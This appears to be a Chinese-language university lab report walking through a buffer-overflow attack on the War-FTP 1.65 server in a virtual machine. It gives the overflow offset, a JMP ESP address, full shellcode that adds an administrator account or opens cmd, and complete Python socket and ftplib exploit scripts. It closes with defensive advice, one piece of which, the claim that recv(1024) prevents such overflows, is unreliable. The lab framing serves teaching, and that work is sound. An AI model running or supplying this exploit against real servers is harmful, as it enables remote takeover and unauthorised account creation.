通過實踐掌握緩沖區溢出的原理;掌握常用的緩沖區溢出方法;理解緩沖區溢出危害性;掌握防范和避免緩沖區溢出攻擊的措施。
一、實驗環境
獲取鏈接:鏈接:https://pan.baidu.com/s/1CeSKujRFC2DzGx_xDwT8fQ 提取碼:qlgr
(1) VMware15.x
(2) 存在漏洞的windows版本鏡像
(3) war-ftp1.6.5
(4) OllyDBG調試工具
(5) python3環境
二、實驗准備
(1)理解緩沖區溢出攻擊的原理。
(2)獲取 War-ftp 1.65,學習使用該軟件。
(3)了解 War-ftp1.65 漏洞細節:發送長度超過 480 字節的用戶名給 War-ftp 服務器可 以觸發漏洞(即 USER longString\r\n) ,溢出之后 ESP 指令寄存器的內容包含了 longString 中的部分內容。遠程攻擊者可利用此漏洞以應用程序進程權限執行任意指令。
(4)熟悉 www.metasploit.com 中生成 shellcode 的方法。
(5)安裝perl,學習使用光盤中的patternCreate.pl和patternOffset.pl,其中patternCreate.pl 用於創建不重復的字符串,patternOffset.pl 用於定位字符串。
(6)學習使用一種調試工具,因為要查看溢出后緩沖區里的情況和各寄存器的信息, 需要用到調試工具。比較專業的調試工具有 OllyDBG、IDA Pro 等,比較簡單易用的調試工具有 NTSD、CDB 和 WinDbg(這三個工具都包含在 Debugging Tools for Windows 中,其中 Windows 2000 以上的系統自帶有 NTSD)。在此實驗中推薦使用 CDB 或者 NTSD,兩者的 使用方法基本一致。
(7)學習參考書目中對 CCProxy6.2 Ping Overflow 漏洞的分析與利用,在理解實例的基礎上完成此實驗。
三、實驗內容
利用War-ftp 1.65 Buffer Overflow 漏洞,在目標主機上添加一個用戶。按照如下步驟進行:
(1)檢測漏洞的存在。
(2)構造能夠實現在目標主機上添加用戶的 Shellcode。
(3)獲取緩沖區的大小並定位溢出點 Ret 的位置。
(4)改變程序的流程使 War-ftp 在溢出之后執行 Shellcode。
(5)撰寫python腳本實現漏洞利用程序。
四、意外情況
1. 無法通過OllyDBG運行war-ftp
運行前需要保證:
- 關閉war-ftp進程
- 刪除war-ftp同文件夾下的Ftp-Daemon.dat文件
- 在OllyDBG中點擊Debug->restart
2. 裝載運行后出現exception,war-ftp無響應
多次點擊運行按鈕,war-ftp會響應,點擊Go Online
即可開啟服務。實在不行使用windbg代替ollyDBG,如網絡攻防:ccproxy + war-ftpd 緩沖區溢出攻擊詳解所示
五、詳細步驟
1. 使用OllyDBG運行war-ftp並Go-online
點擊go-online后,在war-ftp同文件夾下會出現Ftp-Daemon.dat文件,刪除即可
2. 測試緩沖區溢出漏洞
打開ftp並輸入對應的ip,請求連接。war-ftp進入1 connection狀態
我們生成一串比較長的用戶名(下面記為outstr)測試,在此使用了encodestr.py
生成長度為2000的不重復字符串,不重復的好處在於之后分析堆棧時,可以很方便的通過寄存器內容找到outstr對應的位置。
密碼隨意輸入。發現war-ftp出現異常,進入無響應狀態:
a="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b="abcdefghijklmnopqrstuvwxyz"
c="0123456789"
def getstr(num):
outstr=""
for i in range(0,26):
for j in range(0,26):
for k in range(0,10):
outstr += a[i]+b[j]+c[k]
if(len(outstr) > num):
return outstr
outstr = getstr(2000)
with open("str.txt","w") as f:
f.write(outstr[:num]) #這句話自帶文件關閉功能,不需要再寫f.close()
或
from string import ascii_uppercase, ascii_lowercase, digits
import itertools
# 1.確定跳轉位置 生成不重復的1000字符串
pattern = (''.join(map(''.join, itertools.product(ascii_uppercase, ascii_lowercase, digits))).encode())[:2000]
3. 分析堆棧的內容
eip: 32714131 為指針寄存器(按字節分開,對應字符串為1Aq2),位置為485
esp: q4Aq 可直接在outstr尋找對應的位置,為493,指向棧頂
ebp: 3At4 可直接在outstr尋找對應的位置,為581,指向棧基(棧的結構是從高到低的)
使用location.py
腳本找出字符串在outstr中對應的位置:
str = '32714131'
ostr = ''
for i in range(len(str), 0, -2):
tmp = int(str[i - 2:i], 16)
ostr += chr(tmp)
print(ostr)
print(outstr.find(ostr))
print(outstr.find('q4Aq'))
print(outstr.find('3At4'))
或
pattern.find(bytes.fromhex('32714131')[::-1])
由此,我們可以繪制棧結構對應的字符串位置:
如圖所示,war-ftp原本的結構中緩沖區大小被固定為480個字符以內,如果輸入的字符串長度過長會覆蓋原本在485的JUMP指令以及493的shellcode,使程序進入異常。
若使用精心構造的序列攻擊,發生緩沖溢出,CPU根據EIP的地址跳轉到堆棧第493字節開始的ESP執行shellcode。
4. 構造exploit結構
這里的重點之一是尋找組成注入向量的跳轉地址(JMP ESP的指令地址),可以使用中文WIN 2K/XP/2003下通用的JMP ESP:0x7ffa4512,對應esp地址用\x12\x45\xfa\x7f
來填充(這是因為x86系統是little-endian方式),這里還可以使用python腳本生成顛倒的字符串。
retaddr = bytes.fromhex('7ffa4512')[::-1]
重點之二是構造攻擊代碼:為了防止在執行shellcode之前程序亂跳,所以使用NOP(\x90
)指令來進行預防(從user
后接485個NOP指令),從493字節把shellcode復制過去,最后以\r\n\0
表示ftp user命令結束。
buf = (b"\x90" *485 + retaddr).ljust(493,b"\x90") + shellcode + b"\r\n\0"
這里的ljust()
方法返回一個原字符串左對齊,並使用空格填充至指定長度的新字符串。如果指定的長度小於原字符串的長度則返回原字符串。
5. shellcode構造
shellcode是一段用於利用軟件漏洞而執行的代碼,shellcode為16進制的機器碼,因為經常讓攻擊者獲得shell而得名。shellcode常常使用機器語言編寫。 可在暫存器eip溢出后,塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。
shellcode可以使用msfpayload生成,以下是2個生成示例:
class Shellcode:
# 在window xp下建立一個zane的用戶,並設置為管理員
code1 = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x4a"
"\x58\x30\x42\x30\x50\x41\x6b\x41\x41\x5a\x42\x32\x41\x42\x32\x42"
"\x41\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69"
"\x78\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45\x6c\x6e"
"\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f\x4e\x6b\x70\x4f\x42"
"\x38\x4c\x4b\x43\x6f\x51\x30\x56\x61\x78\x6b\x30\x49\x4c\x4b\x76"
"\x54\x4c\x4b\x65\x51\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d"
"\x54\x4f\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41\x6a"
"\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77\x74\x74\x35\x79"
"\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41\x7a\x4b\x62\x46\x6e\x6b\x64"
"\x4c\x30\x4b\x6e\x6b\x33\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57"
"\x6c\x4c\x4b\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69"
"\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70\x6f\x75\x49"
"\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64\x4c\x4e\x6b\x74\x30\x45"
"\x4c\x4c\x6d\x4e\x6b\x63\x58\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d"
"\x50\x68\x30\x37\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53"
"\x6f\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f\x73\x6b"
"\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58\x78\x62\x62\x53\x62"
"\x48\x7a\x38\x4b\x4e\x4f\x7a\x66\x6e\x30\x57\x69\x6f\x38\x67\x61"
"\x73\x50\x6d\x55\x34\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54"
"\x6f\x45\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75\x41"
"\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62\x4e\x72\x45\x71"
"\x30\x71\x75\x70\x6e\x50\x61\x72\x5a\x37\x50\x46\x4f\x43\x71\x71"
"\x54\x43\x74\x41\x30\x36\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70"
"\x74\x55\x70\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64"
"\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74\x42\x4d\x62"
"\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71\x62\x51\x71\x72\x54\x50"
"\x6f\x54\x32\x31\x63\x45\x70\x71\x6a\x42\x41\x62\x4e\x41\x75\x55"
"\x70\x46\x4f\x30\x41\x30\x44\x30\x44\x43\x30\x4a")
# 執行winexec的shellcode代碼如下,其中0x751f3231是WinExec的地址
buf = ""
buf += "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45"
buf += "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6"
buf += "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78"
buf += "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA"
buf += "\xad\x23\x86\x7c"
buf += "\xFF\xD2\xC9"
6. 使用ftplib打開命令行
鏈接war-ftp的方式可以用socket,也可以直接使用封裝好的ftplib庫,發送字符串。這里由於\x90
不能解碼,直接替換成沒有含義的A或B.
from ftplib import FTP
from shellcode import Shellcode
ftp = FTP('192.168.5.132')
buf = 'A' * 485 + '\x12\x45\xfa\x7f' + 'B' * 4 #多增加4個B
buf += Shellcode.buf
ftp.login(buf, 'ww')
成功打開命令行窗口:
7. 使用socket創建管理員
另外一種方式是使用socket直接connect對應的ip和端口,發送二進制串。
import socket
from shellcode import Shellcode
def send_buf(buffer, host='192.168.5.132', port=21):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
data = b'user ' + buffer + b"\r\n\0"
sock.send(data)
sock.recv(1000)
retaddr = bytes.fromhex('7ffa4512')[::-1]
buf = (b"\x90" * 485 + retaddr).ljust(493, b"\x90") + Shellcode.code1.encode('utf-8')
send_buf(buf)
在控制面板或登錄界面下,成功創建了管理員用戶zane
:
七、解決方案
對於緩沖區溢出問題,根本原因是服務器在搭建ftp服務器端時,未對用戶輸入長度進行限制。服務器端對於用戶發來的請求沒有進行處理而直接覆蓋了緩沖區后面的代碼。
解決方案也很簡單,以python代碼為例:
#進行用戶名密碼驗證的函數
def name_check(self):
while True:
name = self.request.recv(1024).decode('utf-8')
self.request.send('0'.encode('utf-8'))
passwd=self.request.recv(1024).decode('utf-8')
if common.login(name,passwd):
self.request.send('0'.encode('utf-8'))
return name
else:
self.request.send('1'.encode('utf-8'))
continue
使用request.recv是帶上參數1024,表示接受命令的長度最大是1024,這樣就可以避免緩沖區溢出攻擊。
八、總結原理與防范思路
通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。緩沖區溢出攻擊占了遠程網絡攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一台主機的部分或全部的控制權。如果能有效地消除緩沖區溢出的漏洞,則很大一部分的安全威脅可以得到緩解。
有以下幾種基本的方法保護緩沖區免受緩沖區溢出的攻擊和影響:
- 通過操作系統限制可執行代碼的區域,使得緩沖區不可執行,從而阻止攻擊者植入攻擊代碼
- 強制寫正確的代碼的方法:對於C語言中不安全的函數我們要使用安全的函數來替代,用fgets()、strncpy()、strncat()來替代gets()、strcpy()、strcat()等不限制字符串長度,不檢查數組越界的函數。實際上編譯器在編譯完代碼之后就已經提示了一個警告
warning, this program uses gets(), which is unsafe.
。所以,我們應該重視編譯器給我們的提示,這樣往往能避免常見的錯誤 - 利用編譯器的邊界檢查來實現緩沖區的保護,使得緩沖區溢出不可能出現,從而完全消除了緩沖區溢出的威脅
- 在向一塊內存中寫入數據之前要確認這塊內存是否可以寫入,同時檢查寫入的數據是否超過這塊內存的大小
- 棧破壞檢測。也就是說在實際的緩沖區上面做個標記,保存這個標記,然后在函數返回之前檢查這個標記,如果這個標記和函數調用之前不一樣了,就說明在函數調用的過程中發生了溢出,這是就拋異常,讓程序異常終止。
- 棧隨機化法。也就是說讓棧的位置在程序每次運行時都不一樣,然后黑客將可執行代碼插入內存之后就不容易找到指向該字符串的地址,也就不能執行插入的程序了